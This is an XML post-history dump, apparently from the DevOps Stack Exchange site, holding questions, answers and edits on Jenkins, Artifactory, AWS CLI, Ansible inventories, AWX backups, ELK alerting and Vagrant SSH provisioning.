  <row Id="14981" PostHistoryTypeId="2" PostId="4777" RevisionGUID="2edfd1a8-3256-4ca9-a708-9b4443256876" CreationDate="2018-08-16T16:12:21.903" UserId="739" Text="# SSO&#xD;&#xA;&#xD;&#xA;Centralizing user logins is certainly a reasonable goal.  There are various &quot;single sign-on&quot; solutions out there.  But even something hacky like copying a `htpasswd` file around can work.  But squeezing everything into the jenkins UI just because that is the only login people have seems like asking for trouble.  I'd let everyone see my dashboards without logins before I tried to make it all work through jenkins.  You'll want to ease logins to other systems like email or PagerDuty eventually so finding a nice general solution to this will be handy for a long time.&#xD;&#xA;&#xD;&#xA;# Dashboards&#xD;&#xA;&#xD;&#xA;There are lots of nice ways to do dashboards.  If you want to do more yourself and not pay monthly charges I'd look at [Prometheus](https://prometheus.io/).  If you want to do less yourself and monthly charges are survivable I'd look at [datadog](https://www.datadoghq.com/).  There are are other choices available of course, but these are some of the better result-for-the-effort-put-in choices out there right now.  Either way it will be a much more natural process than reinventing the wheel to make it work through jenkins.&#xD;&#xA;&#xD;&#xA;Any of these solutions will take data from a variety of inputs and let you have a coherent dashboard.  Most of them will also let you interact with the graphs to zoom in on certain ranges of time or subsets of servers.  You can usually let your users create their own dashboards as well which will reduce the number of innane tweaks that you're asked to make over time." ContentLicense="CC BY-SA 4.0" />
  <row Id="14987" PostHistoryTypeId="50" PostId="1832" RevisionGUID="2fe7757a-30e9-472d-ba27-dd442bb35714" CreationDate="2018-08-17T03:02:24.860" UserId="-1" />
  <row Id="14991" PostHistoryTypeId="50" PostId="3552" RevisionGUID="f50a019c-1335-4c9f-88fb-e99e4206100f" CreationDate="2018-08-17T04:02:36.113" UserId="-1" />
  <row Id="14992" PostHistoryTypeId="50" PostId="4312" RevisionGUID="9368b42c-5f31-4c64-aca6-bd706eeccb7f" CreationDate="2018-08-17T05:00:32.737" UserId="-1" />
  <row Id="14993" PostHistoryTypeId="50" PostId="3661" RevisionGUID="6571051c-1b2e-479a-a094-14403390e888" CreationDate="2018-08-17T06:01:45.660" UserId="-1" />
  <row Id="14994" PostHistoryTypeId="50" PostId="4322" RevisionGUID="4ee2c178-2a4e-475c-8f6f-791280d10ef2" CreationDate="2018-08-17T11:02:24.423" UserId="-1" />
  <row Id="14998" PostHistoryTypeId="2" PostId="4781" RevisionGUID="5de78130-48c6-4972-bbd9-d954f1c81c64" CreationDate="2018-08-17T17:54:12.353" UserId="9295" Text="You could use AWS ClI for consult availability zones: **aws ec2 describe-availability-zones**. With this result you could prepare script to take de first result." ContentLicense="CC BY-SA 4.0" />
  <row Id="14999" PostHistoryTypeId="50" PostId="3916" RevisionGUID="29da7f76-a0ff-4e87-b7c2-65d99b43a6d1" CreationDate="2018-08-17T20:01:37.397" UserId="-1" />
  <row Id="15006" PostHistoryTypeId="5" PostId="3706" RevisionGUID="9f85cc25-1a07-49d2-b90f-1b3ae9f5485a" CreationDate="2018-08-17T20:57:54.890" UserId="739" Comment="formatting code, keystrokes and copy edit" Text="Tensibai was correct, the telnet session in the `expect` module had to end. &#xD;&#xA;&#xD;&#xA;Holding down the key combination &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;]&lt;/kbd&gt; to exit wasn't going to work, so an optional escape character was chosen in the telnet command like so:&#xD;&#xA;&#xD;&#xA;    telnet -e ! 10.224.223.10&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15007" PostHistoryTypeId="24" PostId="3706" RevisionGUID="9f85cc25-1a07-49d2-b90f-1b3ae9f5485a" CreationDate="2018-08-17T20:57:54.890" Comment="Proposed by 739 approved by 40, 228 edit id of 756" ContentLicense="CC BY-SA 4.0" />
  <row Id="15008" PostHistoryTypeId="5" PostId="1900" RevisionGUID="9f93b108-6fbd-411a-8f36-a57607ea76a4" CreationDate="2018-08-17T20:59:20.017" UserId="-1" Comment="Improve wording and grammar" Text="[Artifactory][1] is a product by JFrog that serves as a [binary repository manager][2].  That said very often one will use a 'artifactory' as a synonym of the more general binary repository, much like many people use Frigidaire or fridge to denote the refrigerator regardless if it is a Frigidaire brand or not.&#xD;&#xA;&#xD;&#xA;The binary repository is a natural extension to the source code repository, in that it will store the outcome of your build process, often denoted as artifacts.  Most of the times one would not use the binary repository directly but through a package manager that comes with the chosen technology.&#xD;&#xA;&#xD;&#xA;In most cases these will store individual application components that can later be assembled into a full product - thus allowing a build to be broken in smaller chunks, making more efficient use of resources, reducing build times, better tracking of binary debug databases etc.&#xD;&#xA;&#xD;&#xA;Here are some of the most popular package managers that can be managed using a binary repository:&#xD;&#xA;&#xD;&#xA;* Java: jar, ear, war etc has [Maven][3] and the official [MavenCentral][4].  There are many other package managers that will use the maven binary repository format as well ([ivy][5], [gradle][6] etc).&#xD;&#xA;* .Net: [nuget][7] for .NET components (DLL and EXE) but can also be used as a distribution mechanism under windows thorugh systems like [Chocolatey][8].  Newer versions of Powershell can also leverage this to distribute powershell modules though the [powershell gallery][9] of which one could build a local distribution with a binary repository and a repository in nuget format.  Also check [OneGet][10] if Windows distribution management is of interest to you.&#xD;&#xA;* In JavaScript: we have [npm][11] which is one of the most popular, will require [nodejs][12].&#xD;&#xA;* In python: there is [pip][13] and the official package index [pypi][14], which one can also create a local instance through binary repository that will support the format.&#xD;&#xA;&#xD;&#xA;This list is far from complete, just gives an idea of what's out there.&#xD;&#xA;&#xD;&#xA;The binary repository can allow to host all of these under one roof, making their management much simpler for teams.  Note that you do not need a very large team to start reaping benefits from binary package management.  The initial investment is not very large and the benefits are felt immediately.  Especially now that more and more platforms, frameworks and languages are integrating this dependency management directly in them.&#xD;&#xA;Their biggest advantage I have found however was to create an environment that your programmers will find natural and comfortable making it essential.  It helps you as a devops creating a solid tool-chain and it helps them making the overall experience fit naturally in their stack of choice.&#xD;&#xA;&#xD;&#xA;As I said earlier there are [many products][15] out there that can serve as binary package managers, some more generic than others in their target usage, varying also widely in their accessibility and prices.&#xD;&#xA;&#xD;&#xA;My personal opinion is that binary repositories are as vital a part of a well designed devops setup as the source code repository or continuous integration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Binary_repository_manager&#xD;&#xA;  [3]: https://maven.apache.org/&#xD;&#xA;  [4]: https://search.maven.org/&#xD;&#xA;  [5]: http://ant.apache.org/ivy/&#xD;&#xA;  [6]: https://gradle.org/&#xD;&#xA;  [7]: https://www.nuget.org/&#xD;&#xA;  [8]: https://chocolatey.org/&#xD;&#xA;  [9]: https://www.powershellgallery.com/&#xD;&#xA;  [10]: https://github.com/OneGet/oneget&#xD;&#xA;  [11]: https://www.npmjs.com/&#xD;&#xA;  [12]: https://nodejs.org/en/&#xD;&#xA;  [13]: https://pypi.python.org/pypi/pip&#xD;&#xA;  [14]: https://pypi.python.org/pypi&#xD;&#xA;  [15]: https://en.wikipedia.org/wiki/List_of_software_package_management_systems" ContentLicense="CC BY-SA 4.0" />
  <row Id="15009" PostHistoryTypeId="24" PostId="1900" RevisionGUID="9f93b108-6fbd-411a-8f36-a57607ea76a4" CreationDate="2018-08-17T20:59:20.017" Comment="Proposed by 173.38.220.47|d2a04b97-6838-4da6-9c63-79f92a1ef88a approved by 40, 228 edit id of 758" ContentLicense="CC BY-SA 4.0" />
  <row Id="15010" PostHistoryTypeId="50" PostId="4176" RevisionGUID="fe043d7e-b4d5-4641-9298-3aa43089c4ab" CreationDate="2018-08-17T21:00:51.970" UserId="-1" />
  <row Id="15011" PostHistoryTypeId="2" PostId="4782" RevisionGUID="6bc91d6a-d362-4a6d-9f11-a62762576a99" CreationDate="2018-08-17T22:04:18.243" UserId="4115" Text="It will be set after any `checkout` steps (or derivatives of `checkout` such as `git` or `svn`).&#xD;&#xA;&#xD;&#xA;So for instance:&#xD;&#xA;&#xD;&#xA;    println(currentBuild.changeSets) // should print an empty set&#xD;&#xA;    &#xD;&#xA;    checkout(scm)&#xD;&#xA;    &#xD;&#xA;    println(currentBuild.changeSets) // should print out any changes in the current build" ContentLicense="CC BY-SA 4.0" />
  <row Id="15012" PostHistoryTypeId="2" PostId="4783" RevisionGUID="49b922cd-301b-4ffd-bd66-2931ea303717" CreationDate="2018-08-18T03:02:19.647" UserId="9274" Text="It *is* safe. As soon as docker returns it is safe to logout/leave the shell.&#xD;&#xA;&#xD;&#xA;The issue was that Docker 18.06.0-ce **broke** `docker stack deploy`. Reverting to 18.03.1 (specifically `18.03.1~ce-0~ubuntu`) made it work.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15013" PostHistoryTypeId="50" PostId="1821" RevisionGUID="85d1741a-b360-4027-ac5a-fe0eea10de15" CreationDate="2018-08-18T05:02:30.143" UserId="-1" />
  <row Id="15014" PostHistoryTypeId="5" PostId="4781" RevisionGUID="c7d434ce-c984-42fb-ad86-136184b86a1d" CreationDate="2018-08-18T05:37:21.080" UserId="739" Comment="copy edit and formatting" Text="You could use AWS ClI for consult availability zones:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-availability-zones&#xD;&#xA;&#xD;&#xA;With this result you could prepare script to take the first result.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15015" PostHistoryTypeId="24" PostId="4781" RevisionGUID="c7d434ce-c984-42fb-ad86-136184b86a1d" CreationDate="2018-08-18T05:37:21.080" Comment="Proposed by 739 approved by -1 edit id of 762" ContentLicense="CC BY-SA 4.0" />
  <row Id="15016" PostHistoryTypeId="5" PostId="4781" RevisionGUID="91c62304-3606-47f7-a071-35a4da361496" CreationDate="2018-08-18T05:37:21.080" UserId="40" Comment="added 2 characters in body" Text="You could use AWS ClI for consult availability zones:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-availability-zones&#xD;&#xA;&#xD;&#xA;With this result you could prepare a script to take the first result.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15023" PostHistoryTypeId="50" PostId="4332" RevisionGUID="7e209c8a-4399-42ba-b8ba-a52505c26691" CreationDate="2018-08-19T06:02:19.950" UserId="-1" />
  <row Id="15024" PostHistoryTypeId="5" PostId="1208" RevisionGUID="dcf60862-b961-4e70-aa71-d1ac23ee3cc2" CreationDate="2018-08-19T06:32:28.743" UserId="40" Comment="Integrate comments from OPer " Text="I have tried making REST calls with puppet and it was... well... awful. I didn't really want to use pure ruby to interact with my load balancer and my concern was that for REST calls, every time the puppet run occurs I would be idempotently slamming my web server with a ton of requests - first checking if a particular item is out of spec and then possibly resetting it. Using curl via an exec and an unless statement was arduous to say the least.&#xD;&#xA;&#xD;&#xA;Furthermore, the [idempotent philosophy](https://puppet.com/blog/idempotence-not-just-a-big-and-scary-word) of puppet doesn't always play well with REST APIs that are [not idempotent](https://softwareengineering.stackexchange.com/questions/260818/why-patch-method-is-not-idempotent).&#xD;&#xA;&#xD;&#xA;Are there any simple ways, ready-made methods or plugins for dealing with REST APIs via puppet?&#xD;&#xA;&#xD;&#xA;**Note**: one feature request to watch: https://tickets.puppetlabs.com/browse/PUP-6658?filter=-2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15025" PostHistoryTypeId="5" PostId="1206" RevisionGUID="e2635c98-94d3-46e9-9d84-01c9fb53a3d3" CreationDate="2018-08-19T06:37:05.940" UserId="40" Comment="Integrate comments from OPer  " Text="A while ago I had written about how commits were being merged (successfully) into our develop branch in Git, but would later go missing, with no evidence of the missing code other than all the Bitbucket logs proving the merge happened. &#xD;&#xA;&#xD;&#xA;We just figured out yesterday that what's happening is Jenkins clones our repo, then holds it for up to 40+ minutes while jobs run, then pushes back with `git push origin +develop`. This is essentially overwriting any commits we've made in that 40+ minutes as Jenkins pushes back the branch exactly as it saw it on the clone, and minus our additions. &#xD;&#xA;&#xD;&#xA;We thought the solution would be to change to &#xD;&#xA;&#xD;&#xA;    git pull --rebase origin&#xD;&#xA;    git push origin develop&#xD;&#xA;&#xD;&#xA;but that's returning &#xD;&#xA;&#xD;&#xA;    + git pull --rebase origin&#xD;&#xA;    error: Cannot pull with rebase: You have unstaged changes.&#xD;&#xA;&#xD;&#xA;To clarify, Jenkins' &quot;branch&quot; has files on it that we do need merged into the repo. The ideal situation is to find the right way to do a fresh pull of develop into Jenkins' copy before pushing back.&#xD;&#xA;&#xD;&#xA;What's the correct git procedure to avoid this issue?&#xD;&#xA;&#xD;&#xA;**Note**: My original post was deleted for being too vague, and rightfully so since at the time I had zero idea why things weren't working. In this case what happens is Jenkins checks out the repo, runs a script that makes parameter files needed for a second job, then checks it back in so the files (and associated logs) exist in the repo for use/auditing. Not having Jenkins do the process isn't an option." ContentLicense="CC BY-SA 4.0" />
  <row Id="15026" PostHistoryTypeId="5" PostId="1195" RevisionGUID="56e051ef-c94a-4c64-99f8-273567e0becd" CreationDate="2018-08-19T08:02:23.320" UserId="40" Comment="improve link title" Text="This article about &quot;[How healthy is your Dockerized application?&quot;][1] explains the trouble with monitoring, but it doesn't provide any good examples of how to actually monitor a microservice inside of the docker container.&#xD;&#xA;&#xD;&#xA;We are currently using PM2 monit to monitor our microservices, but as we put them into docker containers we lose the ability to access this data within one screen for all the various microservices which each run in their own docker container.&#xD;&#xA;&#xD;&#xA;Dockerswarm monitoring will tell us the state of the containers, but not the microservice running inside of them.&#xD;&#xA;&#xD;&#xA;What's a solid proven way of solving this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://techbeacon.com/how-healthy-your-dockerized-application" ContentLicense="CC BY-SA 4.0" />
  <row Id="15027" PostHistoryTypeId="5" PostId="1188" RevisionGUID="c43a3cc8-20f3-47c7-b66e-27ac7f567cb4" CreationDate="2018-08-19T08:07:12.973" UserId="40" Comment="Integrate comments from OPer " Text="I'm working on my first implementation of the Elasticsearch-Logstash-Kibana stack. I have everything working, but now I need to:&#xD;&#xA;&#xD;&#xA; - Set alarms on certain thresholds/events&#xD;&#xA; - Send notifications on alarms&#xD;&#xA; - (desirable) Manage alarms from within Kibana (i.e. alert/acknowledge)&#xD;&#xA;&#xD;&#xA;I've read some partial solutions using another tools beside ELK, as Nagios, but I'm wondering what is the industry's &quot;best&quot; approach to this need.&#xD;&#xA;&#xD;&#xA;**Note**: I've already taken a look at X-Pack and seems to be one of the acceptable solutions, but the licencing details and costs are still vague - not publicly available. I've contacted Elastic but need to answer a few questions with data I still don't have." ContentLicense="CC BY-SA 4.0" />
  <row Id="15028" PostHistoryTypeId="2" PostId="4784" RevisionGUID="3e85c22f-2250-4c95-b21b-00dfe7528517" CreationDate="2018-08-19T11:19:42.930" UserId="8899" Text="Situation:&#xD;&#xA;&#xD;&#xA;I have a group &quot;webservers&quot; where I put all webservers in. As well as a group &quot;mysqlservers&quot; for the database servers respectively.&#xD;&#xA;&#xD;&#xA;Now I do also manage some LAMP servers and I want them to be always part of the webservers and mysqlservers group, as well as manage them in a group &quot;lamp&quot;&#xD;&#xA;&#xD;&#xA;This is my approach:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    all:&#xD;&#xA;      hosts:&#xD;&#xA;        host1:&#xD;&#xA;        host2:&#xD;&#xA;      children:&#xD;&#xA;        webservers:&#xD;&#xA;          hosts:&#xD;&#xA;            web1:&#xD;&#xA;            web2:&#xD;&#xA;            web3&#xD;&#xA;          children:&#xD;&#xA;            lamp:&#xD;&#xA;        mysqlservers:&#xD;&#xA;          hosts:&#xD;&#xA;            db1:&#xD;&#xA;            db2:&#xD;&#xA;            db3:&#xD;&#xA;          children:&#xD;&#xA;            lamp:&#xD;&#xA;        lamp:&#xD;&#xA;          hosts:&#xD;&#xA;            lamp1:&#xD;&#xA;            lamp2:&#xD;&#xA;            lamp3:&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is that the correct approach? If I followed the ansible docs examples, I would have defined the &quot;lamp&quot; hosts as children of webservers and mysqlservers, but I really want to reduce redundancy. So is it possible to create the group as a child of &quot;all&quot; and just reference it as children of the specified groups without repeating the hosts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15029" PostHistoryTypeId="1" PostId="4784" RevisionGUID="3e85c22f-2250-4c95-b21b-00dfe7528517" CreationDate="2018-08-19T11:19:42.930" UserId="8899" Text="Ansible YAML inventory - Groups that are allways members of other groups" ContentLicense="CC BY-SA 4.0" />
  <row Id="15030" PostHistoryTypeId="3" PostId="4784" RevisionGUID="3e85c22f-2250-4c95-b21b-00dfe7528517" CreationDate="2018-08-19T11:19:42.930" UserId="8899" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15031" PostHistoryTypeId="2" PostId="4785" RevisionGUID="c54e1e7c-c7fa-47f5-b36f-8e46214de6ee" CreationDate="2018-08-19T15:04:59.790" UserId="9308" Text="I'm experiencing much slower traffic for the exact same files when downloading (or uploading) them via the AWS website vs. downloading them via the CLI.&#xD;&#xA;&#xD;&#xA;Is there a known reason for this? &#xD;&#xA;&#xD;&#xA;Is there something that can be done about it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15032" PostHistoryTypeId="1" PostId="4785" RevisionGUID="c54e1e7c-c7fa-47f5-b36f-8e46214de6ee" CreationDate="2018-08-19T15:04:59.790" UserId="9308" Text="Different download speeds from AWS S3 CLI vs Console/Websites" ContentLicense="CC BY-SA 4.0" />
  <row Id="15033" PostHistoryTypeId="3" PostId="4785" RevisionGUID="c54e1e7c-c7fa-47f5-b36f-8e46214de6ee" CreationDate="2018-08-19T15:04:59.790" UserId="9308" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15037" PostHistoryTypeId="50" PostId="4344" RevisionGUID="d5b814a6-482e-4897-b799-2fe08e0b510c" CreationDate="2018-08-19T16:01:40.820" UserId="-1" />
  <row Id="15038" PostHistoryTypeId="2" PostId="4787" RevisionGUID="0d5c3256-086d-4390-b381-a67048da9045" CreationDate="2018-08-19T18:50:52.560" UserId="8983" Text="&gt; Manage alarms through Kibana&#xD;&#xA;&#xD;&#xA;That specifically is one of the licensing points for X-Pack, so there won't be much non-X-pack stuff out there that does this.&#xD;&#xA;&#xD;&#xA;I've been doing alarms through Logstash config, but it isn't managed through X-Pack. We've had better luck managing logstash `output {}` blocks through GitHub-style pull-request workflows. It will require knowing how to write logstash code, and some sense of the object model of your events. But if people are fluent in writing Kibana dashboards, they already have that fluency; most of your training will be in scoping the logstash code." ContentLicense="CC BY-SA 4.0" />
  <row Id="15039" PostHistoryTypeId="50" PostId="3081" RevisionGUID="4dd50072-05f1-4205-bc32-02ae45c28a60" CreationDate="2018-08-19T19:00:41.697" UserId="-1" />
  <row Id="15040" PostHistoryTypeId="50" PostId="4553" RevisionGUID="df4259b5-46cf-448b-a61c-3b4747a94cfc" CreationDate="2018-08-19T20:00:58.517" UserId="-1" />
  <row Id="15046" PostHistoryTypeId="2" PostId="4789" RevisionGUID="643eb9af-c7bc-4790-8c19-367e6a1244c4" CreationDate="2018-08-20T01:15:42.833" UserId="9314" Text="If you want to have a preformatted block within a list, indent by eight spaces:&#xD;&#xA;&#xD;&#xA;1. generate public/private key&#xD;&#xA; &#xD;&#xA;        cd vagrant-home&#xD;&#xA;        ssh-keygen // just pressed enter&#xD;&#xA;        copy ~/.ssh/id_rsa .&#xD;&#xA;        copy ~/.ssh/id_rsa.pub .&#xD;&#xA;2. edit Vagrantfile,add follow lines:&#xD;&#xA;            config.vm.provision &quot;file&quot;, source: &quot;id_rsa&quot;, destination: &quot;/home/vagrant/.ssh/id_rsa&quot;&#xD;&#xA;&#xD;&#xA;            public_key = File.read(&quot;id_rsa.pub&quot;)&#xD;&#xA;            config.vm.provision &quot;shell&quot;, inline: &lt;&lt;-SCRIPT&#xD;&#xA;                chmod 600 /home/vagrant/.ssh/is_rsa&#xD;&#xA;                echo 'Copying ansible-vm public SSH Keys to the VM'&#xD;&#xA;                #mkdir -p /home/vagrant/.ssh&#xD;&#xA;                chmod 700 /home/vagrant/.ssh&#xD;&#xA;                echo '#{public_key}' &gt;&gt; /home/vagrant/.ssh/authorized_keys&#xD;&#xA;                chmod -R 600 /home/vagrant/.ssh/authorized_keys&#xD;&#xA;                echo 'Host 192.168.*.*' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;                echo 'StrictHostKeyChecking no' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;                echo 'UserKnownHostsFile /dev/null' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;                chmod -R 600 /home/vagrant/.ssh/config&#xD;&#xA;                SCRIPT&#xD;&#xA;3. vagrant up&#xD;&#xA;if you run command'vagrant up' before, 'vagrant up --provision' make enable above&#xD;&#xA;                &#xD;&#xA;                vagrant up --provision&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15047" PostHistoryTypeId="2" PostId="4790" RevisionGUID="490d5f1c-5986-4522-b5e5-24f4a14d5b83" CreationDate="2018-08-20T01:20:58.463" UserId="8808" Text="The way it helped me understand initially, the difference between source code repository and binary repository was to think of it like:&#xD;&#xA;* Github or Bitbucket is useful to maintain all 'code'&#xD;&#xA;* Jfrog Artifactory is useful to maintain the built 'binary'&#xD;&#xA;At least till I was comfortable with these terms!&#xD;&#xA;&#xD;&#xA;Also, the importance of Artifactory can be understood in relation to the philosophy of DevOps to &quot;Build once, Deploy always&quot;. It goes a long way in Continuous Integration to build your binary once, put it into Artifactory  and then call it from there to deploy into all of the different environments. That way, we are sure that the code that works in Dev is the one pushed to Prod and will work there.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15048" PostHistoryTypeId="5" PostId="4789" RevisionGUID="5ace6a38-981d-4adf-85c4-b66cfc0dca8e" CreationDate="2018-08-20T01:32:04.173" UserId="9314" Comment="deleted 72 characters in body" Text="If you want to have a preformatted block within a list, indent by eight spaces:&#xD;&#xA;&#xD;&#xA;1. generate public/private key&#xD;&#xA; &#xD;&#xA;        cd vagrant-home&#xD;&#xA;        ssh-keygen // just pressed enter&#xD;&#xA;        copy ~/.ssh/id_rsa .&#xD;&#xA;        copy ~/.ssh/id_rsa.pub .&#xD;&#xA;2. edit Vagrantfile,add follow lines:&#xD;&#xA;            config.vm.provision &quot;file&quot;, source: &quot;id_rsa&quot;, destination: &quot;/home/vagrant/.ssh/id_rsa&quot;&#xD;&#xA;&#xD;&#xA;            public_key = File.read(&quot;id_rsa.pub&quot;)&#xD;&#xA;            config.vm.provision &quot;shell&quot;, inline: &lt;&lt;-SCRIPT&#xD;&#xA;                chmod 600 /home/vagrant/.ssh/is_rsa&#xD;&#xA;                echo 'Copying ansible-vm public SSH Keys to the VM'&#xD;&#xA;                #mkdir -p /home/vagrant/.ssh&#xD;&#xA;                chmod 700 /home/vagrant/.ssh&#xD;&#xA;                echo '#{public_key}' &gt;&gt; /home/vagrant/.ssh/authorized_keys&#xD;&#xA;                chmod -R 600 /home/vagrant/.ssh/authorized_keys&#xD;&#xA;                echo 'Host 192.168.*.*' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;                echo 'StrictHostKeyChecking no' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;                echo 'UserKnownHostsFile /dev/null' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;                chmod -R 600 /home/vagrant/.ssh/config&#xD;&#xA;                SCRIPT&#xD;&#xA;3. &#xD;&#xA;                &#xD;&#xA;                vagrant up // or vagrant reload --provision&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15049" PostHistoryTypeId="2" PostId="4791" RevisionGUID="374bc53c-de23-4cb7-beec-9b1f94a186eb" CreationDate="2018-08-20T11:36:45.490" UserId="4613" Text="Currently we have an `awx` running on a `VM` using containers:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE                        COMMAND                  CREATED             STATUS              PORTS                                                 NAMES&#xD;&#xA;    dfb9fa57a8eb        ansible/awx_task:latest      &quot;/tini -- /bin/sh -c…&quot;   2 months ago        Up 6 days           8052/tcp                                              awx_task_1&#xD;&#xA;    60dcb5340ca5        ansible/awx_web:latest       &quot;/tini -- /bin/sh -c…&quot;   2 months ago        Up 6 days           0.0.0.0:80-&gt;8052/tcp                                  awx_web_1&#xD;&#xA;    e80aaddee738        postgres:9.6                 &quot;docker-entrypoint.s…&quot;   2 months ago        Up 6 days           5432/tcp                                              awx_postgres_1&#xD;&#xA;    54f20decccfe        ansible/awx_rabbitmq:3.7.4   &quot;docker-entrypoint.s…&quot;   2 months ago        Up 6 days           4369/tcp, 5671-5672/tcp, 15671-15672/tcp, 25672/tcp   awx_rabbitmq_1&#xD;&#xA;    0e7ed8c75796        memcached:alpine             &quot;docker-entrypoint.s…&quot;   2 months ago        Up 6 days           11211/tcp                                             awx_memcached_1&#xD;&#xA;&#xD;&#xA;What is the recommended way for backing up our `awx` instance?&#xD;&#xA;&#xD;&#xA;a) Take an export of the VM using `ovf`?&#xD;&#xA;&#xD;&#xA;b) Just copying the volume where the pgdata is held enough?&#xD;&#xA;&#xD;&#xA;c) Running &#xD;&#xA;&#xD;&#xA;    docker exec -t &lt;postrges_container_id&gt; pg_dumpall -c -U postgres &gt; dump_`date +%d-%m-%Y&quot;_&quot;%H_%M_%S`.sql&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15050" PostHistoryTypeId="1" PostId="4791" RevisionGUID="374bc53c-de23-4cb7-beec-9b1f94a186eb" CreationDate="2018-08-20T11:36:45.490" UserId="4613" Text="How to take a backup of ansible tower" ContentLicense="CC BY-SA 4.0" />
  <row Id="15051" PostHistoryTypeId="3" PostId="4791" RevisionGUID="374bc53c-de23-4cb7-beec-9b1f94a186eb" CreationDate="2018-08-20T11:36:45.490" UserId="4613" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15052" PostHistoryTypeId="2" PostId="4792" RevisionGUID="4b0546c6-3d7e-4d77-8293-2b2d20c0c387" CreationDate="2018-08-20T12:59:56.080" UserId="2494" Text="`def suiteRunId = UUID.randomUUID().toString()` worked at the top of the `Jenkinsfile`.&#xD;&#xA;&#xD;&#xA;Thanks all for your answers." ContentLicense="CC BY-SA 4.0" />
  <row Id="15060" PostHistoryTypeId="2" PostId="4795" RevisionGUID="703dc2a2-b75c-43e2-81d0-655f464aa1f8" CreationDate="2018-08-20T19:56:25.450" UserId="3062" Text="So in our pipeline, the dev team will do multiple releases to their own test environment, when they are satisfied, they will queue a release for test.  This signifies to our QA team that the devs are ready for QA to begin their testing.  QA approves the queued build, kicking off the automation process of deploying the artifacts into their environment.  Next, QA does their testing and puts in work items for bug that arise.  The dev team then makes code changes and repeat the cycle until QA approves a release.  The release will then go to 3rd party compliance testing before being packaged up to go onto remote devices.&#xD;&#xA;&#xD;&#xA;We would like to prevent the QA team from deploying to test when a build hasn't yet been queued by the dev team.  However, we want our QA to be able to re-deploy any build that the dev team had previously queued, without requiring the dev team to queue the build.&#xD;&#xA;&#xD;&#xA;This is all in the VSTS release environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="15061" PostHistoryTypeId="1" PostId="4795" RevisionGUID="703dc2a2-b75c-43e2-81d0-655f464aa1f8" CreationDate="2018-08-20T19:56:25.450" UserId="3062" Text="Prevent group from deploy to environment but allow same to redeploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="15062" PostHistoryTypeId="3" PostId="4795" RevisionGUID="703dc2a2-b75c-43e2-81d0-655f464aa1f8" CreationDate="2018-08-20T19:56:25.450" UserId="3062" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15063" PostHistoryTypeId="2" PostId="4796" RevisionGUID="33e0972d-644a-4f9c-9118-844a3fe38c9e" CreationDate="2018-08-20T20:05:06.327" UserId="5051" Text="**An artifact**&#xD;&#xA;&#xD;&#xA;Is something that is produced/generated/crafted out of a specific process&#xD;&#xA;&gt;Jar out of a Java project build.&#xD;&#xA;&#xD;&#xA;&gt;Question out of your mind&#xD;&#xA;&#xD;&#xA;&gt;Car our of a factory&#xD;&#xA;&#xD;&#xA;&gt;New song&#xD;&#xA;&#xD;&#xA;**A repository**&#xD;&#xA;&#xD;&#xA;Is a receptacle where things are persisted&#xD;&#xA;&gt; Github for a Java project.&#xD;&#xA;&#xD;&#xA;&gt;StackExchange for your daunting questions&#xD;&#xA;&#xD;&#xA;IN THEORY, an **Artifact**-*ory* would be a repository of artifact where they are persisted and managed throughout their life cycle.&#xD;&#xA;&#xD;&#xA;In the context of DevOps, Artifactory is a product that manages binary artifacts. It stores and manages different types (Jar, Python and npm packages, etc...) that you produce out of your builds and re-use at compile or deployment time." ContentLicense="CC BY-SA 4.0" />
  <row Id="15064" PostHistoryTypeId="2" PostId="4797" RevisionGUID="31ef29c3-2391-4ec6-8edf-a30b0bd1e28f" CreationDate="2018-08-20T20:06:44.597" UserId="9329" Text="You could add the QA team as deployment approvers for the QA environment. &#xD;&#xA;&#xD;&#xA;A release can be automatically triggered for QA when it was successfully deployed to test, but it will only actually deploy after the approval.&#xD;&#xA;&#xD;&#xA;Additionally, the QA team can re-release any previous release at will." ContentLicense="CC BY-SA 4.0" />
  <row Id="15065" PostHistoryTypeId="50" PostId="3066" RevisionGUID="4f87d885-b473-4cfd-bef5-2ceccd716efa" CreationDate="2018-08-20T22:00:44.090" UserId="-1" />
  <row Id="15069" PostHistoryTypeId="50" PostId="3226" RevisionGUID="31edfbf9-4457-4257-8b16-857376b12008" CreationDate="2018-08-21T01:01:10.967" UserId="-1" />
  <row Id="15070" PostHistoryTypeId="50" PostId="4567" RevisionGUID="c453a07d-20be-41f8-b3fe-4185eda10b38" CreationDate="2018-08-21T06:00:54.880" UserId="-1" />
